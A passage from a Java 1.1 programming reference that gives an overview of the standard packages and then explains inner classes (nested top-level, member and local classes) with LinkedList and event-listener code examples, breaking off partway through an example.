  • Event "adaptors"--trivial no-op implementations of the event listener interfaces that are suitable for easy subclassing.

All the events and event listeners defined in this package extend the EventObject class or the EventListener interface defined in java.util.

java.awt.image

This package has two new image filter classes that implement improved image scaling. Changes have also been made to the MemoryImageSource and PixelGrabber classes.

java.awt.peer

The changes to this package for the most part simply reflect changes to java.awt. There are new interfaces that represent a platform-dependent popup menu and scrolling area, for example.

java.beans

This package constitutes the much-touted JavaBeans API for creating and using embeddable, reusable software components. The classes and interfaces in this package can be used at three different levels:

  • To create application builder tools that programmers (or even non-programmers) can use to compose applications out of individual Java beans.

  • To develop Java beans for use in such application builders.

  • To develop applications (without using a builder tool) that use Java beans.

Most of the classes and interfaces of the package are for use by application builders or by developers of advanced beans. Programmers using beans or writing simple beans do not need to be familiar with most of the package.

Application builders that manipulate beans rely on the Reflection API defined in java.lang.reflect, and many beans take advantage of the Object Serialization API defined in the java.io package. The JavaBeans API uses the same event model that the Java 1.1 AWT does, and event-related classes and interfaces in this package are extensions of a class and an interface defined in java.util.

java.io

The java.io package has become by far the largest of the core Java packages. This is because Java 1.1 adds:

  • A complete suite of new "character stream" classes to complement most of the existing "byte stream" input and output classes. These new "reader" and "writer" streams offer improved efficiency and support internationalization for textual input and output.

  • New classes and interfaces to support object serialization.

  • A number of new IOException types.

java.lang

This package has several new Exception and Error types, as well as new Byte, Short, and Void classes. With the addition of these new classes, all primitive Java data types (including the void type) have corresponding object types. This is important for the java.lang.reflect package, which defines the new Reflection API. In addition, the Class class has been greatly enhanced for use with the Reflection API. Class and ClassLoader have methods to locate "resources" associated with a class, such as images, audio files, Properties files, and so on. Resources are important for internationalization in Java 1.1.

java.lang.reflect

This new package enables a Java program to examine the structure of Java classes and to "reflect upon" its own structure. java.lang.reflect contains classes that represent the fields, methods, and constructors of a class, and enable a program to obtain complete information about any object, array, method, constructor, or field. The java.beans package relies heavily upon this package.

java.math

This new package contains only two classes, which support arithmetic on arbitrary-size integers and arbitrary-precision floating-point numbers. The BigInteger class also defines methods for modular arithmetic, primality testing, and other features required for cryptography.

java.net

The changes to the java.net package are quite low-level. They include the addition of multicast sockets, Unix-style socket options, and new exception types that provide finer granularity when handling networking exceptions.

java.rmi

This package defines the fundamental classes and interfaces used for Remote Method Invocation. Most of the classes in this package are exception types. Subpackages of java.rmi provide additional, more specialized functionality. When objects must be passed as arguments to remote methods, RMI relies on the object serialization functionality provided in the java.io package.

java.rmi.dgc

This small package defines the classes and interfaces required for distributed garbage collection (DGC).

java.rmi.registry

This is another small package that defines the classes and interfaces required for a Java client to look up a remote object by name or for a Java server to advertise the service it provides.

java.rmi.server

This package is the largest of the RMI packages and is at the heart of Remote Method Invocation. It defines the classes and interface that allow a Java program to create an object that can be used remotely by other Java programs.

java.security

This package contains the classes and interfaces that represent the fundamental abstractions of cryptographic security: public and private keys, certificates, message digests, and digital signatures. This package does not provide implementations of these abstractions; by design, the Java Security API is implementation independent. Java 1.1 does include a default implementation, but vendor-specific implementations may also be used in conjunction with this package. The default security implementation relies on the BigInteger class defined in the java.math package.

java.security.acl

This package defines high-level interfaces, and some exceptions, for manipulating access control lists.

java.security.interfaces

This package defines a few interfaces that are required for the Java Security API's implementation-independent design.

java.sql

This package is the Java Database Connectivity (JDBC) API. The classes and interfaces it contains allow Java programs to send SQL queries to databases and retrieve the results of those queries.

java.text

The classes and interfaces in this package are used for internationalization. The package includes classes for formatting dates, times, numbers, and textual messages in a manner appropriate for the default locale, or for any specified locale. It also includes classes for collating strings according to the rules of a given locale and iterating through the characters, words, and sentences of a string in a locale-specific manner.

java.util

As its name indicates, the java.util package contains miscellaneous utility classes. In Java 1.1, new classes have been added to this package to support the AWT and Java Beans event model, to define "locales" and "resource bundles" used for internationalization, and to manipulate dates, times, and time zones.

java.util.zip

This package implements classes for computing checksums on streams of data, and for compressing and archiving (and uncompressing and unarchiving) streams of data, using ZLIB compression library and ZIP and GZIP file formats.

Previous | Home | Next
Summary | Book Index | Inner Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] Inner Classes and Other New Language Features

Java in a Nutshell

Previous Chapter 5 Next

5. Inner Classes and Other New Language Features

Contents:
An Overview of Inner Classes
Nested Top-Level Classes and Interfaces
Member Classes
Local Classes
Anonymous Classes
Other New Features of Java 1.1

The largest enhancement to the Java language in Java 1.1 is something called "inner classes." With this addition to the language, classes can be defined as members of other classes, just as fields and methods can be defined within classes. Classes can also be defined within a block of Java code, just as local variables can be defined within a block of code.

From one point of view, the addition of inner classes regularizes the syntax of Java. From another point of view, though, inner classes create quite a few special cases, and a confusing array of new rules. In practice, however, if you avoid the obscure and pathological cases, inner classes prove to be an elegant and extremely useful addition to the language. Their use is particularly common in conjunction with the new event model defined by the AWT in Java 1.1.

5.1 An Overview of Inner Classes

Java 1.0 allowed classes and interfaces to be defined in exactly one context: at the "top level," as members of packages. Java 1.1 adds one new type of top-level classes and interfaces, and adds three new types of "inner classes," as outlined below. Later sections of this chapter describe each of these new types of classes and interfaces in more detail and present examples of their use.

Nested top-level classes and interfaces

A nested top-level class or interface is defined as a static member of an enclosing top-level class or interface. The definition of a nested top-level class uses the static modifier, just as the definition of a static method or static field does. Nested interfaces are implicitly static (though they may be declared static to make this explicit) and so are always top-level. A nested top-level class or interface behaves just like a "normal" class or interface that is a member of a package. The difference is that the name of a nested top-level class or interface includes the name of the class in which it is defined. Thus, a LinkedList class could define a nested top-level interface Linkable. This interface would be referred to as LinkedList.Linkable. Nested top-level classes and interfaces are typically used as a convenient way to group related classes.

Member classes

A member class is also defined as a member of an enclosing class, but unlike a nested top-level class, it is not defined with the static modifier. This means that it is an inner class, rather than a top-level class. Nested interfaces are always implicitly static, so they are always top-level; there is no such thing as a "member interface," or any kind of "inner interface." In many ways, a member class is analogous to the other members--the instance fields and methods--of a class. Member classes are of interest because the code within a member class can implicitly refer to any of the fields and methods, including private fields and methods, of its enclosing class. [1] Every instance of a member class is associated with an enclosing instance of the class that defines it. Because of the requirement for this enclosing instance, several new pieces of syntax have been introduced into the Java language.

[1] Unfortunately, in Java 1.1 and 1.1.1 there are compiler bugs that prevent access to the private fields and methods of enclosing classes from working correctly. It is not yet clear when these bugs will be fixed. So while access to private members of enclosing classes is part of the inner class specification, it is a feature that is currently best avoided. If a field or method must be visible to nested classes, you should give it package visibility rather than private visibility.

Local classes

A local class is an inner class defined within a block of Java code; it is visible only within that block. Interfaces can not be defined locally. Because a local class is defined within a block of code, it is analogous, in some ways, to a local variable. Local classes are not member classes, but can still use the fields and methods of enclosing classes. More important, however, the code within a local class definition can use any final local variables or parameters that are accessible in the scope of the block that defines the class. Local classes are useful primarily as "adapter classes" and are commonly used with the new event-handling model required by the Java 1.1 AWT and by JavaBeans. For example, a block of Java 1.1 code that creates a java.awt.Button object could use a local class to define a simple implementation of the java.awt.event.ActionListener interface. Then it could instantiate this simple implementation and pass the resulting object to the button's addActionListener() method, thereby connecting the button to the "callback" code that is executed when the button is pressed.

Anonymous classes

An anonymous class is an extension to the local class concept described above. Instead of declaring a local class with one Java statement, and then instantiating and using it in another statement, an anonymous class combines the two steps in a single Java expression. An anonymous class, as you might guess, does not have a name. And because it is instantiated in the same expression that defines it, it can only be instantiated once. Except for these differences, anonymous classes are quite similar to local classes in behavior and use. Interfaces cannot be defined anonymously, of course. When writing a simple adapter class, the choice between a named local class and an unnamed anonymous class typically comes down to a matter of style and code clarity, rather than any difference in functionality.

Table 5.1 summarizes the types of classes and interfaces that can be defined in Java 1.1; the remaining sections of the chapter document each type in more detail.

Table 5.1: Inner Class Summary
Class Type |  | Description
Top-level classes and interfaces | Package member class or interface | An ordinary class or interface that is a direct member of a package. The basic Java class understood by the VM. All nested and inner classes are converted to this type.
 | Nested top-level class or interface | A conveniently nested top-level class or interface. Must be declared static within another top-level class or interface. (Nested interfaces are implicitly static.) May use the static members of its containing type.
Inner classes | Member class | A class defined as a member (non-static) of another. Each instance has an enclosing instance, and can use its members. New syntax for this, new, and super. Cannot have static members. Cannot have same name as a containing class.
 | Local class | A class defined in a block of code. Can use members of enclosing classes and final local variables and parameters. New this syntax. Same restrictions as member classes.
 | Anonymous class | Unnamed class defined within an expression. Has features of a local class. Allows a one-shot class to be defined exactly where needed. Same restrictions as local class, plus has no name or constructor. Only one instance of the class is created.

Previous | Home | Next
New JDK Utilities | Book Index | Nested Top-Level Classes and Interfaces
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.2 Nested Top-Level Classes and Interfaces

Java in a Nutshell

Previous Chapter 5
Inner Classes and Other New Language Features 		Next

5.2 Nested Top-Level Classes and Interfaces

As explained above, a nested top-level class or interface is just like a regular package-member class or interface, except that, for convenience, it has been nested within another class or interface. Note that nested top-level classes and interfaces must be declared static. They can only be nested within other top-level classes and interfaces (i.e., they cannot be declared within inner classes), but they can be nested to any depth.

Example 5.1 shows how you might define a nested top-level "helper" interface. Note the use of the static keyword in the declaration of the interface. The example also shows how this interface is used both within the class that contains it and by external classes. Note the use of its hierarchical name in the external class.

Example 5.1: Defining and Using a Nested Top-Level Interface

public class LinkedList {
  // This nested top-level helper interface is defined as a static member.
  public interface Linkable {
    public Linkable getNext();
    public void setNext(Linkable node);
  }
  // The head of the list is a Linkable object.
  Linkable head;
  // Method bodies omitted.
  public void insert(Linkable node) { ... }
  public remove(Linkable node) { ... }
}
// This class defines a type of node that we'd like to use in
// a linked list.  Note the nested interface name in the implements clause.
class LinkableInteger implements LinkedList.Linkable
{
  // Here's the node's data and constructor.
  int i;
  public LinkableInteger(int i) { this.i = i; }
  // Here are the data and methods required to implement the interface.
  LinkedList.Linkable next;
  public LinkedList.Linkable getNext() { return next; }
  public void setNext(LinkedList.Linkable node) { next = node; }
}

The import statement can be used to import nested top-level classes and interfaces from the class that defines them, just as it can be used to import package member top-level classes and interfaces from the package that defines them. Example 5.2 shows a new definition of the LinkableInteger class from Example 5.1 that uses an import statement to allow it to refer to the Linkable interface by its simple, unqualified name (i.e., the name of the enclosing class is no longer needed).

Example 5.2: Importing a Static Member Class

import LinkedList.*;     // Or use import LinkedList.Linkable;
// Since we use an import statement, we can just type
// "Linkable" instead of "LinkedList.Linkable".
class LinkableInteger2 implements Linkable
{
  int i;
  public LinkableInteger2(int i) { this.i = i; }
  Linkable next;
  public Linkable getNext() { return next; }
  public void setNext(Linkable node) { next = node; }
}

Nested Top-Level Classes and .class Files

When you compile the LinkedList.java file shown in Example 5.1, you'll find that two class files are generated. The first is named LinkedList.class, as expected. The second, however, is named LinkedList$Linkable.class. The $ in this name is automatically inserted by the Java 1.1 compiler.

The Java Virtual Machine knows nothing about nested top-level classes and interfaces or the various types of inner classes. Therefore, the Java compiler must convert these new types into standard, non-nested class files that the Java interpreter can understand. This is done through source-code transformations that insert $ characters into nested class names. These source-code transformations may also insert hidden fields, methods, and constructor arguments into the affected classes. Unless you are writing a Java 1.1 compiler, however, you do not need to know the details of these source-code transformations, and you will typically not even notice them, except in the names of class files. [2]

[2] See the Java Language Specification if you want complete details on the source-code transformations performed by the Java 1.1 compiler to support inner classes.

Previous | Home | Next
An Overview of Inner Classes | Book Index | Member Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.3 Member Classes

Java in a Nutshell

Previous Chapter 5
Inner Classes and Other New Language Features 		Next

5.3 Member Classes

While nested top-level classes are nested within a containing class, we've seen that they are still top-level classes, and that the nesting is purely a matter of organizational convenience. The same is not true of member classes, however. These classes are also nested, but they are not declared static, and in this case, the nesting is significant. The main features of member classes are:

  • Every instance of a member class is internally associated with an instance of the class that defines or contains the member class.

  • The methods of a member class can implicitly refer to the fields defined within the member class, as well as those defined by any enclosing class, including private fields of the enclosing class.

Like nested top-level classes, member classes are commonly used for helper classes required by the enclosing class. You use a member class instead of a nested top-level class when the member class requires access to the instance fields of the enclosing class, or when every instance of the helper class must refer to an instance of the enclosing class. When you use a member class, this reference from member class to enclosing class is implemented automatically for you.

Let's return to the LinkedList example that we saw above. Suppose we want to add the ability to loop through the elements in the linked list using the java.util.Enumeration interface. To do this, we define a separate class that implements this interface, and then add a method to the LinkedList class that returns an instance of the separate Enumeration class. Example 5.3 shows a typical Java 1.0-style implementation. [3]

[3] For simplicity, this example implements a very simple Enumeration class that is not thread-safe and that may return incorrect results if items are added to or removed from the list while an Enumeration object is in use.

Example 5.3: A LinkedList Enumerator, as a Separate Top-Level Class

import java.util.*;
public class LinkedList {
  // Our nested top-level interface.  Body omitted here...
  public interface Linkable { ... }
  // The head of the list.
  Linkable head;
  // Method bodies omitted here.
  public void addToHead(Linkable node) { ... }
  public Linkable removeHead() { ...  }
  // This method returns an Enumeration object for this LinkedList.
  public Enumeration enumerate() {
    return new LinkedListEnumerator(this);
  }
}
// This class defines the Enumeration type we use to list the elements in
// a LinkedList.  Note that each LinkedListEnumerator object is associated
// with a particular LinkedList object which is passed to the constructor.
class LinkedListEnumerator implements Enumeration {
  private LinkedList container;
  private LinkedList.Linkable current;
  public LinkedListEnumerator(LinkedList l) {
    container = l;
    current = container.head;
  }
  public boolean hasMoreElements() { return (current != null); }
  public Object nextElement() {
    if (current == null) throw new NoSuchElementException("LinkedList");
    Object value = current;
    current = current.getNext();
    return value;
  }
}

The point to notice about the LinkedListEnumerator class in Example 5.3 is that we must explicitly pass a LinkedList object to its constructor.

The problem with Example 5.3 is that LinkedListEnumerator is defined as a separate top-level class, when it really would be more elegant to define it as part of the LinkedList class itself. In Java 1.1, this is easily done using a member class, as shown in Example 5.4.

Example 5.4: A LinkedList Enumerator, as a Member Class

import java.util.*;
public class LinkedList
{
  // Our nested top-level interface.  Body omitted here...
  public interface Linkable { ... }
  // The head of the list.
  // This field could be private except for inner class-related compiler bugs.
  /* private */ Linkable head;
  // Method bodies omitted here.
  public void addToHead(Linkable node) { ... }
  public Linkable removeHead() { ...  }
  // This method returns an Enumeration object for this LinkedList.
  // Note: no LinkedList object is explicitly passed to the constructor.
  public Enumeration enumerate() { return new Enumerator(); }
  // And here is the implementation of the Enumeration interface,
  // defined as a private member class.
  private class Enumerator implements Enumeration {
    Linkable current;
    // Note: the constructor implicitly refers to 'head' in containing class.
    public Enumerator() { current = head; }
    public boolean hasMoreElements() {  return (current != null); }
    public Object nextElement() {
      if (current == null) throw new NoSuchElementException("LinkedList");
      Object value = current;
      current = current.getNext();
      return value;
    }
  }
}

In this version of the example, notice how the Enumerator class is nested within the LinkedList class. There is a real elegance to defining the helper class so close to where it is used by the containing class. [4] Of course, if you compiled this example you'd find that the Enumerator member class is compiled to a file named LinkedList$Enumerator.class--while one class is nested within the other in source code form, the same is not true of their compiled byte-code forms.

[4] John Rose, the author of Sun's inner class specification, points out that the advantages of inner classes are not only their elegance, but also their "conciseness, expressiveness, and modularity." He says, "Even prosy-minded programmers who don't care a fig for prissy elegance...will appreciate the fact that they can define their adapter classes right next to the code that needs them, and that they won't have to manually wire the adapter to the main object...and that they won't have to pollute the name space of the package..."

Notice that no instance of the containing LinkedList class is passed to the Enumerator() constructor of the member class. A member class can refer to the members of its enclosing class implicitly; no explicit reference is necessary. Also note that the Enumerator class makes use of the head field of the enclosing class, even though head is declared private. Because the member class is defined within the enclosing class, it is "inside" the class as far as the definition of private fields and methods is concerned. In general, member classes, as well as local and anonymous classes can use the private fields and methods (and classes!) of their containing class. Similarly, a containing class can use the private fields, methods, and classes of the classes it contains. And any two classes that are enclosed by the same third class can access each other's private members. [5]

[5] As noted earlier, however, bugs in javac in current versions of JDK 1.1 prevent this kind of access to private members. Until these bugs are fixed, you should use use package visibility instead of private visibility.

How Member Classes Work

The Enumerator member class of LinkedList can refer to the head field of LinkedList because every instance of a member class implicitly refers to an instance of the class that contains it--this is one of the fundamental features of member classes. It works because the compiler automatically inserts a private field in the member class to hold the required reference to the containing object. The compiler also automatically inserts a hidden argument to all constructors of a member class and passes the containing object as the value of this argument. [6] Once the compiler automatically adds this private field and constructor argument to the code in Example 5.4, you can see that we end up with code very much like what we saw in Example 5.3!

[6] If you're curious about this, use javap -p to disassemble the class file of a member class. It shows you both the inserted private field and the extra constructor argument.

Because the Java Virtual Machine has no notion of inner classes, the Java 1.1 compiler also must take special action to allow member classes (and local and anonymous classes) to use the private fields and methods in their enclosing classes (and vice versa). When a private field or method is used in a way that is allowed in Java 1.1, but is not allowed by the Java interpreter, the compiler automatically inserts a special accessor method to allow the access.

New Syntax for Member Classes

The most important feature of a member class is that it can implicitly refer to fields in its containing object. We saw this in the following constructor from Example 5.4:

public Enumerator() { current = head; }

In this example, head is a field of the LinkedList class, and we assign it to the current field of the Enumerator class. What if we want to make these references explicit? We could try code like this:

public Enumerator() { this.current = this.head; }

This code does not compile, however. this.current is fine; it is an explicit reference to the current field in the newly created Enumerator object. It is the this.head expression that causes the problem--it refers to a field named head in the Enumerator object. There is no such field, so the compiler generates an error. To prevent this problem, Java 1.1 defines new syntax for explicitly referring to the containing instance of the current instance of a member class. If we wanted to be explicit in our constructor, we'd use the new syntax like this:

public Enumerator() { this.current = LinkedList.this.head; }

Similarly, we can use LinkedList.this to refer to the containing LinkedList object itself. In general, the syntax is classname.this, where classname is the name of a containing class. Note that member classes can themselves contain member classes, nested to any depth, and no member class can have the same name as any containing class. Thus, the use of the class name prepended to this is a perfectly general way to refer to any containing instance, as the following nested class example demonstrates:

public class A {
  public String name = "a";
  public class B {
    public String name = "b";
    public class C {
      public String name = "c";
      public void print_names() {
        System.out.println(name);        // "c": name field of class C
        System.out.println(this.name);   // "c": name field of class C
        System.out.println(C.this.name); // "c": name field of class C
        System.out.println(B.this.name); // "b": name field of class B
        System.out.println(A.this.name); // "a": name field of class A
      }
    }
  }
}

Another new piece of Java 1.1 syntax has to do with the way member classes are created. As we've seen, member classes work the way they do because the compiler automatically adds an argument to each member class constructor. This argument passes a reference to the containing instance to the newly created member instance. Now look again at our definition of the enumerate() method in Example 5.4:

public Enumeration enumerate() { return new Enumerator(); }

Nowhere in this new expression do we specify what the containing instance of the new Enumerator instance should be. In this case, the this object is used as the containing instance, which is what you would expect to happen. It is also what you want to occur in most cases. Nevertheless, Java 1.1 supports a new syntax that lets you explicitly specify the containing instance when creating an instance of a member class. We can make our method more explicit by using the following code:

public Enumeration enumerate() { return this.new Enumerator(); }

The syntax is containing_instance .new, where containing_instance is an expression that evaluates to an instance of the class that defines the desired member class.

Let's look at another example of this syntax. Recall that we declared the Enumerator member class to be private in Example 5.4. We did this for reasons of modularity and encapsulation. Suppose, however, that we had given Enumerator package visibility. In that case, it would be accessible outside of the LinkedList class, and we could instantiate our own copy of it. In order to create an instance of the member class LinkedList.Enumerator, however, we must specify the instance of LinkedList that contains it (and is implicitly passed to its constructor). Our code might look like the following:

// First create a linked list, and add elements to it (omitted).
LinkedList list = new LinkedList();
// Create an enumerator for the linked list.  Note the syntax of the
// 'new' expression.
Enumerator e = list.new Enumerator();

As a more complex example, consider the following lines of code used to create an instance of class C nested within an instance of class B nested within an instance of class A:

A a = new A();        // Create an instance of A.
A.B b = a.new B();    // Create an instance of B within the instance of A.
A.B.C c = b.new C();  // Create an instance of C within the instance of B.
c.print_names();      // Invoke a method of the instance of c.

Note that in the new expressions we name the class to be created relative to the instance that will contain it. That is, we say b.new C(), not b.new A.B.C() .

There is one final piece of new Java 1.1 syntax related to member class instantiation and initialization. Before we consider it, however, let me point out that you should rarely, if ever, need to use this syntax. It represents one of the pathological cases that snuck into the language along with all the elegant features of inner classes.

The new syntax for the new operator described above allows us to specify the containing instance that is passed to the constructor of a member class. There is one circumstance in which a constructor is invoked without the use of the new operator--when it is invoked with the super keyword from a subclass constructor. As strange as it may seem, it is possible for a top-level class to extend a member class. This means that the subclass does not have a containing instance, but that its superclass does. When the subclass constructor invokes the superclass constructor, it must specify the containing instance. It does this by prepending the containing instance and a period to the super keyword. If we had not declared our Enumerator class to be a private member of LinkedList, then we could subclass it. Although it is not clear why we would want to do so, we could write code like the following:

// A top-level class that extends a member class
class SpecialEnumerator extends LinkedList.Enumerator {
  // The constructor must take the LinkedList argument explicitly,
  // and then must pass it implicitly to the superclass constructor
  // using the new 'super' syntax.
  public SpecialEnumerator(LinkedList l) { l.super(); }
  // Here we override one or the other of the LinkedList.Enumerator
  // methods to have some kind of special behavior.
     . . .
}

Scope Versus Inheritance

Having noted that a top-level class can extend a member class, it is important to point out that with the introduction of member classes there are two entirely separate hierarchies that must be considered for any class. The first is the class hierarchy, from superclass to subclass, that defines the fields that a member class inherits. The second is the containment hierarchy, from containing class to contained class, that defines the fields that are in the scope of (and are therefore accessible to) the member class.

The two hierarchies are entirely distinct from each other, and it is important that you do not confuse them. This should not be a problem if you refrain from creating name conflicts where a field or method in a superclass has the same name as a field or method in a containing class. If such a name conflict does arise, however, the inherited field or method hides (i.e., takes precedence over) the field or method of the same name in the containing class or classes. This behavior is logical because when a class inherits a field or method, that field or method effectively becomes part of that class. Therefore, inherited fields and methods are in the scope of the class that inherits them, and take precedence over fields and methods by the same name in enclosing scopes.

Because this can be quite confusing, Java does not leave it to chance that you get it right! Whenever there is a name conflict between an inherited field or method and a field or method in a containing class, Java 1.1 requires that you explicitly specify which one you mean. For example, if a member class B inherits a field named x and is contained within a class A that also defines a field named x, you must use this.x to specify the inherited field, or A.this.x to specify the field in the containing class. An attempt to use the field x without an explicit specification of the desired instance causes a compilation error.

A good way to prevent confusion between the class hierarchy and the containment hierarchy is to avoid deep containment hierarchies. If a class is nested more than two levels deep, it is probably going to cause more confusion than it is worth. Furthermore, if a class has a deep class hierarchy (i.e., if it has many superclass ancestors), consider defining it as a top-level class rather than as a member class.

Restrictions on Member Classes

There are two important restrictions on member classes. First, they cannot have the same name as any containing class or package. This is an important rule, and one that is not shared by fields and methods.

Second, member classes, like all inner classes, cannot contain any static members (fields, methods, or classes). The justification for this restriction is that static fields, methods, and classes are "top level" constructs, and it is therefore reasonable that they only be defined at the "top level"--i.e., within top-level classes. Defining a static, top-level member within a non-top-level member class would simply promote confusion and bad programming style. It is clearer (and therefore required) to define all static members within a top-level class. (Which may be a nested top-level class, of course.)

Member Classes and Visibility Modifiers

A member class, like any member of a class, may be assigned one of three visibility levels: public, [7] protected, or private. If none of these visibility modifiers is specified, the default "package" visibility is used. However, as mentioned earlier, there have been no changes to the Java Virtual Machine to support member classes, and member classes are compiled to class files just like top-level classes are. As far as the Java interpreter is concerned, therefore, member classes, like top-level classes, can only have public or package visibility. Thus, a member class declared protected is actually treated as a public class, and a member class declared private actually has package visibility. While this is unfortunate, and is something you should be aware of, it does not constitute a major security flaw.

[7] Because member classes are nested, and because of their nature as "helper" classes, it is unusual to ever declare a member class public.

Note that this does not mean that you should never declare a member class as protected or private. Although the interpreter cannot enforce these visibility attributes, the desired attributes are noted in the class file. This means that any conforming Java 1.1 compiler can enforce the visibility attributes and prevent the member classes from being accessed in unintended ways.

Previous | Home | Next
Nested Top-Level Classes and Interfaces | Book Index | Local Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.4 Local Classes

Java in a Nutshell

Previous Chapter 5
Inner Classes and Other New Language Features 		Next

5.4 Local Classes

A local class is a class declared locally within a block of Java code. Typically, a local class is defined within a method, but local classes can also be defined within static initializers and instance initializers of a class. (Instance initializers are a new feature of Java 1.1 that we'll see later in this chapter.)

Because Java code can only appear within class definitions, all local classes are nested within a containing class. For this reason, local classes share many of the features of member classes. It is usually more appropriate, however, to think of them as an entirely separate kind of inner class. A local class has approximately the same relationship to a member class as a local variable has to an instance variable of a class. Local classes have the following interesting features:

  • They are only visible and usable within the block of code in which they are defined.

  • They can use any final local variables or method parameters that are visible from the scope in which they are defined. [8]

    [8] As we'll see shortly, one of the other language changes in Java 1.1 is that local variables and method parameters can be declared final.

The first defining characteristic of a local class is obviously that it is local. Like a local variable, the name of a local class is only valid within the block of code in which it was defined (and within any blocks nested with that block, of course). In many cases, this is not a problem. If a helper class is used only within a single method of a containing class, there is no reason that that helper cannot be coded as a local class rather than a member class. Example 5.5 shows how we can modify the enumerate() method of the LinkedList class we saw in previous examples so that it defines the Enumerator class as a local class, rather than as a member class. By doing this, we move the definition of the helper class even closer to the location where it is used and hopefully improve the clarity of the code even further.

Example 5.5: Defining and Using a Local Class

import java.util.*;
public class LinkedList
{
  // Our nested top-level interface.  Body omitted here...
  public interface Linkable { ... }
  // The head of the list
  /* private */ Linkable head;
  // Method bodies omitted here.
  public void addToHead(Linkable node) { ... }
  public Linkable removeHead() { ...  }
  // This method creates and returns an Enumeration object for this
  // LinkedList.
  public Enumeration enumerate()
  {
    // Here's the definition of Enumerator as a local class.
    class Enumerator implements Enumeration {
      Linkable current;
      public Enumerator() { this.current = LinkedList.this.head; }
      public boolean hasMoreElements() {  return (current != null); }
      public Object nextElement() {
        if (current == null) throw new NoSuchElementException("LinkedList");
        Object value = current;
        current = current.getNext();
        return value;
      }
    }
    // Create and return an instance of the Enumerator class defined here.
    return new Enumerator();
  }
}

How Local Classes Work

A local class is able to refer to fields and methods in its containing class for exactly the same reason that a member class can--it is passed a hidden reference to the containing class in its constructor, and it saves that reference away in a private field added by the compiler. Also like member classes, local classes can use private fields and methods of their containing class, because the compiler inserts any required accessor methods. [9]

[9] As previously noted, bugs in the compiler prevent this from working correctly in the current versions of the JDK.

What makes local classes different from member classes is that they have the ability to refer to local variables from the scope that defines them. The crucial restriction on this ability, however, is that local classes can only reference local variables and parameters that are declared final. The reason for this is apparent from the implementation. A local class can use local variables because the compiler automatically gives the class a private instance field to hold a copy of each local variable the class refers to. The compiler also adds hidden arguments to each of the local class constructors to initialize these automatically created private fields to the appropriate values. So, in fact, a local class does not actually access local variables, but merely its own private copies of them. The only way this can work correctly is if the local variables are declared final, so that they are guaranteed not to change. With this guarantee, the local class can be assured that its internal copies of the variables are "in sync" with the real local variables.

New Syntax for Local Classes

In Java 1.0, only fields, methods, and classes may be declared final. The addition of local classes to Java 1.1 has required a liberalization in the use of the final modifier. It can now be applied to local variables, arguments to methods, and even to the exception parameter of a catch statement (Local classes can refer to catch parameters, just as they can refer to method parameters, as long as they are in scope and are declared final.) The meaning of the final modifier remains the same in these new uses: once the local variable or argument has been assigned a value, that value may not be changed.

Instances of local classes, like instances of member classes, have an enclosing instance that is implicitly passed to all constructors of the local class. Local classes can use the same new this syntax that member classes do to explicitly refer to members of enclosing classes. Local classes cannot use the new new and super syntax used by member classes, however.

Restrictions on Local Classes

Like member classes, and for the same reasons, local classes cannot contain fields, methods, or classes that are declared static. static members must be declared at the top level. Since nested interfaces are implicitly static, local classes may not contain nested interface definitions.

Another restriction on local classes is that they cannot be declared public, protected, private, or static. These modifiers are all used for members of classes, and are not allowed with local variable declarations; for the same reason they are not allowed with local class declarations.

And finally, a local class, like a member class, cannot have the same name as any of its enclosing classes.

Typical Uses of Local Classes

One common application of local classes is to implement "event listeners" for use with the new event model implemented by AWT and JavaBeans in Java 1.1. An event listener is a class that implements a specific "listener" interface. This listener is registered with an AWT component, such as a Button, or with some other "event source." When the Button (or other source) is clicked (or activated in some way), it responds to this event by invoking a method of the event listener. Since Java does not support method pointers, implementing a pre-defined interface is Java's way of defining a "callback" that is notified when some event occurs. The classes used to implement these interfaces are often called adapter classes. Working with adapter classes can become quite cumbersome when they all must be defined as top-level classes. But the introduction of local classes makes them much easier to use. Example 5.6 shows a local class used as an adapter class for handling GUI events. [10] This example also shows how a local class can make use of a method parameter that is declared final.

[10] As we'll see in the next section, this adapter class could be written more succinctly as an anonymous class.

Example 5.6: Using a Local Class as an Adapter

import java.awt.*;
import java.awt.event.*;
// This class implements the functionality of some application.
public class Application {
  // These are some constants used as the command argument to doCommand().
  static final int save = 1;
  static final int load = 2;
  static final int quit = 3;
  // This method dispatches all the commands to the application.
  // Body omitted.
  void doCommand(int command) { }
  // Other methods of the application omitted...
}
// This class defines a GUI for the application.
class GUI extends Frame {
  Application app;  // holds a reference to the Application instance
  // Constructor and other methods omitted here...

  // This is a convenience method used to create menu items with
  // a specified label, keyboard shortcut, and command to be executed.
  // We declare the "command" argument final so the local
  // ActionListener class can refer to it.
  MenuItem createMenuItem(String label, char shortcut, final int command)
  {
    // First we create a MenuItem object.
    MenuItem item = new MenuItem(label, new MenuShortcut(shortcut));
    // Then we define a local class to serve as our ActionListener.
    class MenuItemListener implements ActionListener {
      // Note that this method uses the app field of the enclosing class
      // and the (final) command argument from its containing scope.
      public void actionPerformed(ActionEvent e) {
        app.doCommand(command);
      }
    }
    // Next, we create an instance of our local class that will be
    // the particular action listener for this MenuItem.
    ActionListener listener = new MenuItemListener();
    // Then we register the ActionListener for our new MenuItem.
    item.addActionListener(listener);
    // And return the item, ready to be inserted into a menu.
    return item;
  }
}

createMenuItem() is the method of interest in Example 5.6. It creates a MenuItem object with the specified label and keyboard shortcut, and then uses a local class to create an ActionListener object for the menu item. The ActionListener is responsible for translating the selection of the MenuItem into an invocation of the application's doCommand() method. Note that the command method parameter is declared final so it can be used by the local class. Also note that the local class uses the app field of the class that contains it. Because this is an instance variable instead of a local variable, it does not need to be declared final.

A local class can use fields defined within the local class itself or inherited by the local class, final local variables and final parameters in the scope of the local class definition, and fields defined by or inherited by the containing class. Example 5.7 is a program that demonstrates these various fields and variables that are accessible to a local class. If you can make sense of the code, you have a good understanding of local classes.

Example 5.7: Fields and Variables Accessible to a Local Class

class A { protected char a = 'a'; }
class B { protected char b = 'b'; }
public class C extends A
{
  private char c = 'c';         // Private fields visible to local class.
  public static char d = 'd';
  public void createLocalObject(final char e)
  {
    final char f = 'f';
    int i = 0;                  // i not final; not usable by local class.
    class Local extends B
    {
      char g = 'g';
      public void printVars()
      {
        // All of these fields and variables are accessible to this class.
        System.out.println(g);  // (this.g) g is a field of this class.
